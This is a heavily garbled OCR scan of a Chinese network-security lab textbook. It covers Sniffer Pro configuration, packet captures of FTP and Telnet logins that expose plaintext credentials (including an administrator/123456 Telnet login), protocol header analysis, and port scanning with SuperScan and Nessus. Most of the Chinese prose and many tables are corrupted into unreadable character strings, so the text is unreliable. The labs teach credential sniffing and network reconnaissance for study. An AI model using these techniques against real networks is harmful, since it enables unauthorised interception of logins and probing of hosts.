AN s PRFERRAE DD HE £ A F5 4R SO ok S M2 PR W . 3 B2 R 15 H AR BL A% 1Y X 2% 000 & FES
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(2) FAGE S 06 2o B R A AR A R
(3) Aty > 42 4 .
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wE |t | HieEs|se 20 |
~ A (B) ~ SR
{21
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I - ~ FEEEPW
~EHEEAN ) |
Fl J B%
ZEpEEE
e
™ #9FEIH
B#: IC"LP ogram Files\NAT\SnifferNT\Progr: ‘J
REEE: [BR wekE: m i
P —mehy C aEten)
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K 3216 HHEHIXEE
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2. WX H
R T A RO T X 2% }“ﬁ TN T LXMW RS, &5, NARIE W28 LA B X &
RAGHATE S, EHE TR RPN L ZiEm” a4, 3 Expert Ul Object J& 4 X} i

fE . AN &l 3. 2. 17 J’J?mc,
LR RGN L E GERB A B 70 A B3 13 T 45 [l 368 o B 2 2 2R 48 2 25000 4l 4K 3
W 26 5 B B T i APl A5 e . [RIBT ARIE B EX 2 G M N A R R B REE 1 &
KX REL
o EE T, Recycle Expert Objects(LZK R EHAD IWE LY NAHFAN RN BHX ARG
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ERILIIE D
KRR
HH

802,11 Options
Protocols

; 1000 J
i 1000 600K
Session Yes 1000 BO0K
Connection Yes 1000 1.450K
Station Yes 1000 700K
Yes 1000 512K
Wireless Yes 1000 92K
‘Wan Connection Yes 1024 696K
‘Wan Link Yes 1 8,848 d
Total E st Memory: 32 697K
Expert During Capture Data Update Rate [sec}: 1
Recycle Expert Objects ResoingRate [seck | 60
Alamms
Alarm M asimum: |1'1"-" ‘ TP i h

ATl AF A

ERAGET

B (A) #REh

B 3217 TREMRE

o Al DA e 28 T SE i o A D e CR i) .
o F5E OV i REMA . YR B RE BT, B R R 5 e R RO Y
Tl G ) B 5 1R B B R
« Data Update Rate J] Fi% & K £ 4 i 7~ 19 il 55 41 % , Resorting Rate ] Tk & %
K F G R o A B4 2 B s AR Z Rl 2k IR
 MTLHXRGWENBIE, o] Do e T H BT "L 253007 a2 . (8 54
)X TR HE P B4 Alarms IR H1TIX E .
HARE SIS RGN B E AR 2 2 K 750 n] R UE R Ge o 1712 Wi Al ] @t G
)7 oK . AIARXT BE AT B, A BB R ECR G HIW R R alia 1 iR, WA 3. 2. 18 fos,
TR —1 RS IERZ W E R B EE B

Subnet Masks | RIF Options | 802.11 Options
Objects Alarms I Frotocols

0] 1| Description Value -
Service Hl
=l | Apphcation
- =] Access to Resource Denied Minar, Logged
: Severity Miror
; Alarm Logged Yes
=I| Browszer Election Force Minar, Logged
: Severity Miror
Alarm Logged Yes
~=| DB Conrect Aeguest Denied 3. Minar
3 Severity Miricr

&larm Logged Mo
5 DB Connechtion Failed 3
=) DB Security Breach Attempt 3, Critical/Diag, Logged
' Severity Critical/Diag

Alarm Logged Yes

WRE A | omEe | e

K 3218 ETRAGE{ERE

X T2 28 R 28 0L, FH P mT LAEAT 358 5 0 s W Ao i . 856 3 HE HR %8 £ Protocols 230



Rl 3. 2,19 Fros ., nl 3% R G0 0 A JZ2 RS VR GE £ Yes 5 No,

Subnet Masks | EIF Options | 802. 11 Options |

Objects Marms Frotocols
1] Analyze -
Service
Application
Session
-/ Connection
NETWARE Yes
TCP Yes =
UoP Yes ;l 1
Station
= DLC No
ARP Yes
Ether Yes
FDDI Yes
IEEES02_T1 Yes
Token Ring Yes
SO0¢ Yes Enable All |
RRTE mE | mmw | %

B 3219 HEESTHIEE

BEAN 2 & Al T ALY Y 1 G RS 5F, ] DL $E Subnet Masks #E300 < 17 8 2,
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H 7 o R B )l — 2% 30 1) P O ) BN R S il . SRR EE AT RIP 20 B =X A5 22 7E RIP
Options FEIT < o % 322 )2 F N 12 € OB ” an & 3. 2. 20 iR .

Objects I #larms ] Protocols I
Subnet Masks TP Options | 80211 Options |
ATERET | e e B Sp—
i P 2 _— kA 11
Subnet: Source | IP Subnet Address Add Subnet VEE T A ik Jﬂ]%
SR EE AL U 01 A R B - (oA
2 - 0o
we | mE | zEw | zm

B 3220 fEESTHIRE

HELEXRGIRMEBCE B bR w5 T T IR M &S M i m ., 165 FIKTVE AP &
FMETG , T KRG SXT U5 EHLE MAC Hhb Ffk 51 b 2 47 #oht 2547 e, — B
S = CE R

W R RTSREN BN E T s Al LA E LB BRIt N E . G 3. 2. 21 Foi
FEEALEAN R LA Ty i
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®3.2.2 REWRETEHH

BAEA T Frid i AN 4 BUEAL/NTF 64B. & CRC 4%

M
A O e A AR B 1Y 41 B BEAL/NT 64B. A CRC 4%
B BOE A o6 1 B R3] 1 K BOE ALK F 15188, ¢ CRC 4%

= BAs A7 AR, B R RAKZ N || thR RO A b T e S T 45 IR

fi A aw | BCHE AL — A Bl fioh 4w X} 5% BOE ALK BEANJE 8 B XA

CRC | B4 CRC &%, JONEW SR | s ®ar | 7e 3R sl shse

(8N HAT CRC 5% K/ 9 Bl it &2 il SRVER PNV EDF - §iE D)
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4, K7 AN 7 B 18] (Application Response Time, ART)

ART J&458 — 4% 7 i A& H— 410 oK 3] iz 55 4 Mg 07 0] % 1 15F 18] 22 . — Mok U, ART /Y
Pt e N PR — N EE AR b, MR FEERE T ILIMHEER . MR R VRS &HHE.
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IE RE St | O E -t [avgRsp [90%Rsp |MinRsp [MasRsp |TotRsp  |0-26 2660  [51-100 |101-200 |201-400 |401-800 |801-66 [RE8B0cte [EPOciets [Fidl  [#BETE .
o | 110.76.33.15 B 2222725261 67 66 E7 68 3 0 0 3 0 0 0 0 8,501 47 0 0
wau|| B 1129013739 B 525F2149DE 724FF 62 61 62 62 3 0 0 3 0 0 0 0 8,795 755 0 0
=2 || B 1136.254.43 0 525F2143DE 724FF 3 2 1 5 18 18 0 0 0 0 0 0 5,806 3727 i 0
EL 1136.2546 IO 525F2143DE 724FF 2 2 1 4 13 13 0 0 0 0 0 0 10514 3.273 1 1
! &1 1181447838 [ 525F2149DE724F 31 41 24 43 13 1 12 0 0 0 0 0 REGK 4213 0 0
X|| & 11822814067 2222725261 18 16 17 20 4 4 0 0 0 0 0 0 1,266 1,349 0 0
g| &, 25 z0lpy-web80. B 22227253125 2% 28 24 28 11 4 7 0 0 0 0 0 4577 7.172 0 0
B, c25zolactive-web B 222.27.253125 28 28 28 28 3 0 3 0 0 0 0 0 764 1,366 0 0
B c25-dwwwlb.cret. B 22227253125 27 27 26 27 4 0 4 0 0 0 0 0 1,596 3,234 0 0
& c25z0ldetailweb+ Bl 222.27.263125 32 43 28 57 15 0 14 1 0 0 0 0 E4.407 9,878 0 0
& c25zolpic-web80 B 22227263125 27 29 25 2 54 0 54 0 0 0 0 0 398K 24525 0 0
B 119147188 82222725261 160 155 158 161 2 0 0 0 2 0 0 0 1,714 441 0 0
&, 122141.22513 Ll 525F2149DE724FF 45 43 a5 46 2 0 2 0 0 0 0 0 34,657 294 0 0
H 12222495187 B 22227253125 65 a0 54 o4 E 0 1 6 0 0 0 0 5333 2.863 0 0
B, 123138230206 [ 525F2143DE724FF 44 43 44 45 2 0 2 0 0 0 0 0 517 845 0 0
B lvs1 bmvip.cnz.alim B 222.27.25261 50 50 43 50 2 0 1 1 0 0 0 0 13,902 591 0 0
& yat ks vip.criz.alime B 222.27.25261 44 42 44 44 2 0 2 0 0 0 0 0 AR 1513 0 0
EB1211%41101 82222725261 16 15 16 17 2 2 0 0 0 0 0 0 4,281 480 0 0
B acookiel tachaov [ 22227 25261 62 52 62 63 2 0 0 2 0 0 0 0 787 1,093 0 0
B pd.mm.vip.cnz aim B 22227.25261 50 50 43 50 4 0 1 3 0 0 0 0 4,050 2,232 0 0
E1211947169 G 22227.25261 16 15 16 17 2 2 0 0 0 0 0 0 526 1,050 0 0
123138230204 B122227.253142 44 42 44 44 2 0 2 0 0 0 0 0 517 920 0 0
L 124238253109 L 525F2143DE724FF 95 90 %5 %5 2 0 o 2 0 0 0 0 758 388 0 0
EL 12423825432 2222725261 1M 164 87 180 2 0 0 1 1 0 0 0 432 1,296 0 0
& 124.238.25454 B 22227253125 104 105 104 105 3 0 0 0 ] 0 0 0 2076 2,456 0 0
B 12489103101 [ 525F21490E724F 80 77 79 80 2 0 0 2 0 0 0 0 14,741 367 0 0
B, 1248330138 B 525F21490E 724FF 81 78 a0 a1 2 0 i 2 0 0 0 0 689 N7 i 0
B 125211.213130 B 22227.253142 2 2 1 3 20 20 0 0 0 0 0 0 7.390 2,100 0 0
B 1253912725 Ll 525F2149DE724FF 73 71 72 73 2 0 0 2 0 0 0 0 7.123 683 0 0
1263912725 0122227263142 M4 42 44 44 2 0 2 0 0 0 0 0 24 568 724 0 0
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(2) & 2] Sniffer Pro #4414 #a1E 17,
(3) AR SZHG o Fe A FE AR ERAVE R TR
(4) A5 b1 > 445 .

W AT 55

i A S, AR A Sniffer Pro #0448 F1 4347 I 26 BIhsU iy LA 7 vk
ARELERH — PN ERERIFECE 4 nY R M5, PC E %% Windows #4F R 50,
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(1) FTP 3 N FEA YL .
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MR B Meg. F
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PR JE PRl LU A 2 SCERAE X FTP 3 RSO A7 1
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AL AT A M R an & 3. 3.6 Fros ., ik X e SCRE AT . il LA 3 Sniffer Pro #3838 T
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Bl C\Windows\system32\cmd.exe - ftp ftp.hrbeu.edu.cn

Uindows
Cc) 280872 Microsoft

Jsersssunjianguoftp ftp.

[f_*.:i b.1.

76881
Corporation.

BT

B3

hrbeu.edu.cn

SN X

=l ftp28@7.hrbeu.edu.cn,
220 CusFTPd 2.8.5)
FH F¢ftp2087 . hrbeu.edu.cn:
331
AL

238 L ﬂ-]"irl

{none?: anonymous

Please specify the password.

successful.

| .| »

Snif2: #8858, 17/27 LIATAM == EOR| 5
Fes |1 | Bt EEamihils iE =3 Len [=| Relfd @]
1] 12 [125.223.124 .12 [202.118.176.254] TCP: D=21 S=54453 SYN SEQ=1179230683 LEN=0 W| €6 0:00
13 [125.223.124 .12/ [202.118.176.254] TCP: D=21 S=54453 ACK=2674058857 WIN=819| 54 0-00
14 [125.223.124 .12 [202.118.176.254] TCE: D=21 S5=54453 ACK=2674058877 WIN=817| 54 0:00
15 [125 .223.124 .12 [202.118.176.254] FTP: C PORT=54453 USER anonymous 70 0:00
16 .223.124 .1z TCP: D=21 5=54453 ALI{ 26?4D58911 WIN=813 1]
17 23. - 18. : : FTE: C PORT=54453 - - . '
(]| 18 [125.223.124.1:| [202.118.176.254] TCP: D=21 S5=54453 ALH 25?4058934 WIN=611| 54 0:00
]| 19 [125.223.124.12| [202.11B.176. 254 ] FTP: C PORT=54453 PORT 125,223,124,124,212| B4 0:00
]| 20 [125.223.124 .12 [202.118.176.254] FTP: C PORT=54453 LIST 60 0:00
1l 2 [125.223.124 .12/ [202.118.176.254] TCP: D=20 S=54454 SYN ACK=2680643451 SEQ=182| 70 0:-00
1] 22 [125.223.124 .12/ [202.118.176.254] TCP: D=20 S=54454 ACK=2680644594 WIN=651| &b 0:00|=
(1] 23 [125.223.124.1%2| [202.118.176.254] TCP: D=21 S=5445%53 ACK=2674059048 WIN=800| 54 0:00
E 24 [125.223.124.1%| [202.118.176.254 TCP: D=20 S=54454 FIN ACK=2680644594 SEQ=182| 66 0:00
25 [125.223.124.1%2] [219.133.51.247] UDP: D=8000 S=4000 LEN=55 (missing data?) B9 0:00
26 [125.223.124.12{ [125.223.124.236] UDP: D=49777 S=1900 LEN=479 (missing data?)| 513 0:00
27 [125:.223.124.12] [125.223.124.236] UDP: D=49777 S=1900 LEN=479 (missing data?)| 513 0:00 k&
L] m L]
=& TCP. TCP header .
Ly TCP:
‘g TCP: Scurce port = 54453 (Dyvnamic and-/or Priwvate)
'- TCF: De=tination port = 21 (FTP—ctrl) | &
g TCP: Sequence number = 1179230700
B TCP: Hezt ezpected Seg number= 1179230716 —
0O000000: 00 19 c6 00 60 ad 00 Od Se= 8c 98 68 08 00 45 00 ?7°7."®h. E
00000010;: 00 38 61 bl 40 00 B0 06 00 00 ?7d df 7c 7c ca 76 .8ald .€ iR | A
00000020: b0 fe HYVBSVOODNISHE U9 Sl Es 92 e 9 S01E B IFISEEP.
0o000030: 1f ca 75 £b 00 00 50 41 53 53 20 61 6= 6f 6= 79 . & 7 .PASS anony
poooo040: ed BE 7S5 73 0d 03 nous. .

\E5 )\ RO [T ) NP )\ Protocol DSt )\ BB E AR SEIIE ]

&l 336 NHEMNBMELSHTHBBMNER

e 1l R

s SEHM.

o FiF b S T A Y A P R 2 AR A
o [ AS 3 3 A ] A LA RS DR T I

o ERWPOR SR



3.3.3 Telnet i 5 #f
UG 2% b4

Sniffer Pro #X14 24,1 £,
PC(Windows XP/Windows 7). 54 2 &,

i >) 2R

(1) Al se s 1 > . 52 > 25 PRl A N 2
(2) & 2] Sniffer Pro #4414 )7,

(3) ABLK T M AR RAE TR .

(4) Aty o1 > 4l 45

IG5 AT 55

i A S F AR A Sniffer Pro 014 28 A5 B R 285 BIp B0 BAR O7 ik

palid” B3

ALK R — A C A E IR B R B R Rk . PC E22% Windows #:4FE R4t
P

(1) Telnet JFLEE K FEAS L.
(2) WP E RN ZE G iz A .

palte 2

7 MRS PR T 2, 8 AN 3. 3. 7 Fras i ad g 4w » O DA IS 38 A 4 3R Telnet PRU(R B
1z AT B B A FR DT HE

@

Define Filter — Capture
Summary I Address I Data Pattern Advanced |Bu.££nr I :seuiﬁg; Far
— Defaull
| 25 sure 2] =
- ~[gs SUNRPC (TCF)
¥ s TELEET
[T 85 x-wIWDOW
-8 upp
1% IP ARP o
Y IPVE
m-C% 1K
W LAT
PLE |
—Packet Size Packet Type
A1 :I [WIHormal H
WICEC Error
All sizes W|Tabber ﬂ
WE | Ml | Profiles

& 337 ENX Telnet thil 1yid e 28
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70 H Telnet 77 OB SR BT B ML Z 8, 7 ZHF S5 Telnet iR55 . WA TR YL 30 2
Windows 7 #/E R 40 . W5 Z 00 K 2k Telnet. exe #2)7., 18 R B it B LA, 75 Z M8
ZAT AL P 28 FUVERS

A RZIH I, o7 DL B SR S N AT L 2R ) N —4] L 4 B 1 Telnet J
OB F B T EAL, anE 3. 3.8 FiE 3.3, 9 iR,

ci Telnet 192 168.1.225

Telnet server could not log you in using NILM authentication.

Your password may have expired.
Login using username and password

Velcome to Microsoft Telnet Service

login: administrat

password:

338 IFEZEXITE

ci Telnet 192_168.1.225

Welcome to Microsoft Telnet Server.

C:“\Documents and Settings“Administrator’

339 mFEFEREMIN

H T Telnet & 50 O AE 0 A 1] . HEEPTHCM % 7 AL 2 AR 55 7 14 4 SC A HE AR B 3¢

LA D — MRS CEEHEEAN IS, BRIAEM T, Telnet & 5B #F A FZ 455 5 A

2L M AR T8 AR, eI IE AR &K P b — A o 8 0 57 B () AR 55 4% &2 2% A4, TCP 204 [X
e 79 .



N 1B, MEEZEZEIRANAE 3. 3. 10 i 7w,

Sniffer Portable - Local, Ethernet (Line speed at 100 Bbps) — [Snifl: Decode, 1/77 Ethernel Frames] |
FE File Monitor Capture Display Tools Database Window Help =12 x]
| o o m|t|da K| [Defaul ~|
=" 8| @lﬁ|ﬁ|@|ﬁlﬁ|ﬁ|lﬂ| z| ¢ &
No.
1 '. ] l £ 1 6] |ITCP: D=23 5=33 j 2874519323 LEN=0 WIN=65535
E 2 [192 163.1.225] [192.163.1.224] TCE: D=3324 S=23 SYN ACK= ,_F. 4'-_1':1'5' ' 4 EEL.".»_btuE.quaz_ 1
3 [192 168 1.224] |([192.168.1.225] |TCP: D=23 S=3324 ACK=2868270833 WIN=h5535
)4 [192.163.1.225] [[192.168.1.224] |Teln=t. R PORT=3324 IAC Do Authentication
E 5 [192.188.1.224] [[192.168.1.225] |Telnet: C PORT=3324 TAC Will Authentication
b [192.168.1.225] [[192.168.1.224] |Telnset: R PORT=3324 IAC SB
E 7 [192.168.1.224] ([192.168.1.225] |Telnet: C PORT=3324 TAC Do Echo
B [192.168.1.225] [[192.188.1.224] |Telnet: R PORT=3324 IAC SB
19 [192.168.1.224] ([192.168.1.225] |TCP: D=23 S5=3324 ACK=2868270697 WIN=65471
E 10 [192.168.1.224] [([192.168.1.225] |Telnet: C PORT=3324 TAC SH
11 [192.168.1.225] [[192.168.1.224] |Telnet: R PORT=3324 IAC SB -_—
E 12 [192.168.1.224] ([192.168,1.225] |Telnet. C PORT=33 24 TAC 5B
it [192.168:1.225) |[192.168.1.224] |TCP: D=3324 5=23 ACK=2874520056 WIN=65403
(114 [192.168.1.224] [[192.168.1.225] |[Telnet: C PORT=3324 IAC SB
E ih [192.168.1.225] [([192.168.1.274] |Telnet: R PORT=3324 TAC SH
16 [192.168.1.224] [[192.168.1.225] |TCP: D=23 S5=3324 ACK=2868271139 WIN=65029
E 17 [192.168.1.224] ([192.168.1.225%] |Teln=t C POET=3324 2
18 [192.168.1.225] |[192.168.1.224] |Telnet: R PORT=3324 a
{19 [192.168.1.224] ([192,168.,1,225] |TCP: D=23 S5=3324 ACK=2868271140 WIN=65028
L1220 [192.1mr8.1 224] ([192.188.1.225] |Telnet . C FORT=3324 d
121 [192:168.1.225] [[192.168.1.224] |Telnst: R PORT=3324 d
E 22 [192.168.1.224] ([192.168.1.225] |TCP: D=23 S5=3324 ACK=2868271141 WIN=65027
23 [192.168.1.224] [[192.168.1.225] |Telnet: C PORT=3324 m
1]24 [192.168.1.225] [[192.168.1.224] |Telnet: R FPORT=3324 m
L]]25 [192 . 1s8.1.224] |([192.188.1.225] |TCP: D=23 S=3324 ACK=286B271142 WIN=85026
[1]26 [192:168:1:.224] [[192.168.1.225] |Telnset: C PORT=3324 1
E 27 [192.168 1 225] ([192.168.1.224] |Telnet . R FPORT=3324 1
28 [192.1e8.1.224] ([192.1e8,.1.225] |TCP: D=23 5=3324 ACK=2868271143 WIN=65025
)29 [192/168 1°224] |[192'168.1 28] |Teluer  C PORT-3324 .
4 | »
=& TCP: TCP header ——— -]
@ TCP
@ TCP: Source port = 3324
@ TCF: De=stination port — 23 (Telnet)
s al 24 - ——I
Q TCE: Initial sequence numnber = 2874519923
-~ TCP: Next expected Seq number= 2874519924
{0 TCP: Data off==t = 28 bytes =l
'\ Expert A, Decode A Matrix A Host Table A Protocol Dist. A\ Statistics /
For Help, press Fl &| s 24 A (3648 Z

3310 MRIRE

% P Telnet 3R 45 i, — WK BAL 3% 1B B8 H T UM L KR —E W, Fr
Telnet B R/N=DLC(14B) +1P(20B) + TCP(20B) + %4 #£ (1B) . it 558, K ik, ] L)
¥ 3. 3. 7 19 Packet Size #5220 55, DIEHH AR 2 H P 24 A5 an (& 3. 3. 11 iz . B WA
1l 2k 7% 1 v 20 IR 55 v 1) B0 808 A 5 3 DR A 2 Y i T I B S £

Define Filter — Capture ?ixt

Summary Address I]Jati.]’lttirn I ldiranl:n_ﬂ_.l Buffer I Settings For:
Address Enown Address: (Dragable) Eer"ﬁ'-‘“
SR star

r Ly
—Mode —————— n Broadcast/Multicast Address

& Include - % Address Book

™ Exclude

| station1 Dir. Station 2 -

1 |192168.1.224 = — W)192168.1 225
2 (] s [
3 BeH
4 Bes
: a-g
] + [
: —had |

= I Bl | Frofiles. .

B 3311 BEAMNBERERmIKRFZFHNEEE

PROCHE S 4l AR B, BIa] Boos P 24 F B SO RS . dn 1 3. 3. 12 Fr s, P AN
administrator, 144 123456,

tSO.



Sniffer Portable — Local, Ethernet (Line speed at 100 Bbps) — [Snif?: Decode, 1/19 Ethernel Frames]

B File Monitor Capture Display Tools Database Window Help - 18] x|
I Y S e =
ﬁlnl EI@I & | @ |E @R 2] & &
Source Address Dest Addiess Summa
& 1 92 168 .1 2 g 1 Telns RT=
E 2 [192 . 168 1.224] [192.168.1.225] Telne=t FORT=3331 d
3 [192.168.1.224] ([192.168.1.225] |Telns=t PORT=3 n
]| 4 [192.168.1.224] [[192.168.1.225] |[Teln=t C PORT=23231
L1l8 [192.168.1.224] ([192.168.1.22%] |Telnet: C PORT=: l n
0|6 [192.168.1.224] ([192.168.1.225] |Teln=t PORT=3
E 7 [192.168.1 224] |[192.168.1 225] |Telnet FORT=3331 =
g8 [192.168.1.224] ([192.168.1.225] |Telns=st PORT=3 t
E 9 [192.168.1.224] [([192.168.1.225] [Telnst PORT=3331 12
10 [192.168.1.224] |[192 .168.1.225] |Telnet C PORT 1
L]l [192.168.1.224] ([192.168.1.225] |Teln= PORT=333
E 12 [192.168.1.224] |[192.168.1 . 225] |Teln=t C POET=3331
13 [192.168.1.224] ([192.168.1.225] |Teln= PORT=3
E 14 [192.168.1.224] |[192.168.1.225] (Telnet . C PORT=3331 1
15 [192.168.1.224] |[192.168.1.225] |Telnet: C PORT=3331 2
|16 [192.168.1.224] |[192.168.1.225] |Telnet: C PORT=3331 3
[ 37 [192.168.1.224] ([192.168.1.225] (Teln=t C PORT=3331 4
(1|18 [192.168.1.224] |[192.168.1.225] |Telnet: C PORT=3331 5
19 [192.168.1.224] [[192.168.1.225] (Telnet: C PORT=3331 6
4[ | +
- TCP B
ElﬁT:ll et — Te]lnst —
g_."::_l'—",
B ieilnet B
o) Telnet
¥4 DLC: Frame padding= § bytes j
v

\ Expert } Decode A Matrix A Host Table A Protocol Dist. A Statistics /

For Help, press Fi & | As | i | {7 (3647

B 3312 HAFRBRFRMBPXER

(1) dnfardizk HTTP BhisC T /9 J P 25 AV 4 7
(2) 34 TCP UM Sk G548 L BT 5 FEHLZ T8] 2 7 i 2 aY i 7

btk 1= 52 56 1 R Y AR el A 2 SR A

o [ AR 38 B Y In] el LA K i DR T
o FHARWOEREIRZ

3.3.4 ZWHINESEY
PR EALE]

Sniffer Pro ®{4F &2 4.1 £.
PC(Windows XP/Windows 7)., 84 2 4.

i > 2R

(1) Ml sc i i~ . 52 > M2 PR A N2
(2) % 2 Sniffer Pro B #VE 7 ik .

(3) ARG ot B RN IE AR AR AL .

(4) Aty > #e 45

81



I AT 55

A SRS, PR SR Sniffer Pro MZEAS M H A FTP,. TCP.ICMP %5 £ F ) 1X
(B AL B o)t P 32 B P 25 44 .

ARLERH— TR EEIFI A H R ML, rfi PC EL A2 Windows
PERGL., ARERTAENAGIERIERZ E5Erl. B4/ AL AL 51 41 5, A B 22 [H]

{5 . 1d Sniffer Pro T B #EBOE R R 6L /0 r e a1 . SEUCERm N A

(D) HE/NAFH L, Bt ipconfig g 2 FREUANL 1P #ihil FFIHE 3R 3.3. 1,
*=3.3.1 /MNABERLFE

INBRL R T Hlas 1P bk AHAPRZ
A 192. 168, 1. 136 User36
B 192. 168, 1, 137 User37

(2) JFJ3 Sniffer Pro ff. A € it uE AR5 B IF 3 AR

(3) WAL ping /N F5 — 2l b1 W 3L i Sniffer Pro #{HX ping i F rp i1 38 {5

(1) Jrrth 55 (3) 2B B i MAHL A% 2 B ARt RALAY TP Bl FES 3% 3. 3. 2,
x3.3.2 1P #HiEHRFE

[P Up i A~ 5 (IPv4 /TPv6)

1z 55 26 B (A F v SCRH it 0 i 55 26 1Y, Bl ™ R B K Av kit /b™)

IP 4t 3R KL/ B

BPE A SR EE/B

P i

LA 2 e 157 2K o1 B

o3 B A 7%

18 A5 3 B 22 3k JLAS 5 1

FJZ B4 AR (ICMP)

A 3C 3k M5 A

Tt b ik (IP)

ER7Z:ISINQID

(5) 4rFr 56 (3) B #AE T N B bR T 5E AL R 1] 3] A LAY 2548 il b 1y TP 2 ds . JFIHS
72 3.3.2,
e 82



(6) MAHL IS telnet iy 2 1L 6 Sk /N g — 0 b1 i3S HL AR (i dir an 2 &
X7 C 8RR H & N A SCHF REEH g Jn i exit a2 B i . i Sniffer Pro A
38 1 2

(7 Al 56 (6) 28 # 7 1 AL & 3% 2 H AR 55 0L A 2o s ot op iy TCP %o dls - 1S
7% 3. 3.3,

*3.3.3 HEEME

Kot 3% v 115

i {7 H A5 i 5
TCP it ¥ 5

TCP i SN
=4 TCP R ¥ 5

IS A G I RIS = F R
il 11K/

50 Al

i 1P #h

H#x IP Hiht

(8) 43 Mt 56 (6) 2B #AE 1 A H b i+ 53 HLaR (0] 2 A AL A% Ko i b pY TCP Zdls, RS
0o 4k 1 2R

o Fff b S T A A A P R 2 AR A

o [ IA 8 B Y ] R DL R R R T

o ERPER IR

3.3.5 wmHAOARMSREILW
UG 5 A

Superscan {4 R2%5.1 £,
Nessus MR G .1 £,
PC(Windows XP/Windows 7).1 &.

Wi > EoR

(D) Aty sc g i~ &2 > 25 Ui A G 28
(2) & 2] Sniffer Pro 44 W #E 7,
(3) ARI T A IE AR AR AR
(4) Al 1 4
. 83 .



FY TS5
{22 Fp T B R A7 3w 149 4 55 IR 53

A 85 . 4% Windows 2000 Server\Linux(Red Hat) #:4E R 48 111541
AR EE . SuperScan\ Nessus\ X-Scan\nmap 5 T. 2 4.

% IR
% 5] FHFEHLIR 46 A5 56 13 R X-Scan 28 2 F 4 B T B P
2 4

1. {& A SuperScan # 1T O3
SuperScan HA7 v 334 . VLA AT Al Ping S a0 Dae , A ani&l 3. 3. 13 i,

-~ SuperScan 3. 00 |:”E”E|

Hostname Lookup Configuration

Loaku
| e Port list setup |
Resolved | Me | Interfaces
IP 11 Scan type P Scan

Start|192.168.1.2 :I : ™ Resolve hosthames -

-

- V¥ Drlp scan responsive pings [0

Siop l 192188.1.2 :I V Show host responzes Scanning
1]

0

PrevC | NestC | 1..254 " Ping Dﬂl}'. | [
™ Every port in list esolvin [-0-|

¥ lgnore IP zero (* Al selected ports in list I

IV Ignore IP 255 " Al list ports from | 5553 i
[~ Extract from file _[ C Alpotsfiom | | | '-_.su[_.|

~Speed

M ax Active hosts
0|
Upen ports

Save

Collapse all
Expand all

Prune

3313 SprScan B ER®E

1) EHLA i A D1 e

£ Hostname Lookup £, 0] DL&w A TP Hbhlb ol 2% 75 255 0 1) 88 44 . 5.1 Lookup #% 4
ST DAARAS 5 i Jo 45 R iy Me vl LURTG A 1 H AL TP Hudik , B8 Interfaces AJ RAZR
A HL AL IP B9 Edn i & .

2) Y H A P fe

A s 3 5 D g, 7T LA $E B s EVLF Y dm H MR 55 . AE TP A= fE start Hrdm A
H- e i) 1P, £ Stop Hm AZ5 WY TP, 7F Scan type ££pErfr All list ports from 1 to 65535,
X AL E 1 A 0 v 9 [l SR JE B Scan £ Hr Y Start % 00T DLAEPEEE Y IP bt B
WA E P o O T, JH s kb R0 EHLIP. B Expand all $% 41
SEITEE EOL TR A A . B, NI 3. 3. 14 th ] DU 3], FHL 192, 168. 1. 2 rh it

. 84



HHCT 6 I, FHETE 0 A M) Active hosts il Open ports 235l 878 T A F 175 3h F 41
A1 B A e 1185

~_ SuperScan 3. 00 |Z"§| |E|

Hostname Lookup Configuration
|1'32.1 f8.1.2 Lookup Portfist setup |
Resolved | Me | Interfaces

IP r Timeout . | Scan type Scan
Etart|192 168.1.2 :I Ping ™ Resolve hostnames

¥ DOnly scan responsive pings 19216812 [0
: I4DD
II | v Show hast responses 5 ' 0

Stop|192.168.1.2

Connect " Ping only

|EI]IZII] " Every port in list

v lanore IP zero " All selected ports in list

i lgnare 1P 255. - E?ud = All list ports from |17 Iﬁ
[ Extract from file _] Il ~ Allpots from [ I

PrevC | NewtC | 1.254 ]

Speed
Max = 1921681.2 Achve hosts

® 25 Simple Mail Transfer ==
110 Post Office Protocol - Version 3 Upen ports
135 DCE endpoin oh -
139 T'JETE[I |_|.!:i .:._: ss10h Service S ave
445 Microzoft-D5S
1025 network blackjack Collapse al

Expand all

Frune

3314 wOREFER

SuperScan 2L T 55 & 4 55 19N EE . 7 Scan type £ 3£ H All selected ports in
list. 5 AT DL 4% B8 356 72 19 v 3R T4 4 . ﬁflj— Configuration £2H1 [ Port list setup #% 40 B o]
i A i EECE S . W] 3. 3. 15 Fran. ik Select ports = Hr i B A4 S 1, AE 22 A RY
Change/add/delete port info £ i 2> H FLixX > v H 1915 &, £ Selected & #EHE , 2R 5 B
Apply #2810 AT LAKE e i S 30 31 45 09 dm 1 30 F b . Add 1 Delete 4281 o] DL i a8l &
] 53 A0 N 8 i 1. AR I Bl Port list file £t Y Save &8 , 256 28 %€ 1Y ¥ H 9 R A7 N — 1>
st X, FAESL R . SuperScan  scanner. Ist 3O, B E T H A A o H 5] 3%, b A —
trojans. Ist SCMF A4 T % VLAY A St 11 %1 22 . 5l oo 11 B0 5 3 B . SuperScan #2431 T X4

Edit Port List

- Change/add/delete port info Port list file- =
Pt [T 2| Selected” -
Description iTI:F' Port Service Multiplexer Load | Merge | Save | oK I
Program | 3
_I Select ports
Params |

Double-click list item to select/de-select  Select All I Clear Al |

Probe test |
TCP Port Service Multiplexer

| Delete | Apply h:1-ar'|-3g-?r|'ler'|f Litility
LCompression Process

—Helper apps in right-chick menu Remaote Job Entry
FTP  [C\Program Files\GlobalSCAPE > [E* ;
—— Jiscar
Params |fip: //%a: %p/ Active Users
T'EIIIE[ telnet BvE ¥ I:I El_‘r'hrl-l'f'
I —l Luote of the Day
Params |}““'EI “p v e Send Protocol

Character Generator
File Transter [Detault Data]
Farams |http'#?a'°/pf F|I- Transter Protocol [Control]

Patameters: %a = P address, %p = port SH Remote Login Protocol

Web  [C:\Program Files\Intemet Explc _>|

3315 wHEEFE



AE Y FVAY A I I TR) RS TR 28 X R D S 1A 45 i, ) UK I AR TR A R
PR L,

3) Ping JjHE

SuperScan ¥/ Ping TIHESR ML 1 4G M 78 28 = AL A1 W W 25 IR &0 i 4F .l il 7 1P
B2 AR B FZE A TP Mokt , SR )5 3% P Scan type #2911 Ping only BJ Al ¥y Start $i¢ 4
faah Ping 335 17 . £E IP £, Ignore IP zero il Ignore IP 255 435I FH T Bl T4 DL 0 Fil 255 4% ¢
{9 1P ik, #idy PrevC Al NextC 24 ol R S 5 — e J5 — 4~ C 2R 1P M EL. "1..2547
FEAL T EE R A B . 7E Timeout 24 H AT AR JE 75 B2 358 AN [A] (19 1 197 B[]

2. {E A Nessus HATHHH

Nessus & UNIX #fE Rgeh g I T H . 23T GPL &y, il ¥ B, 24
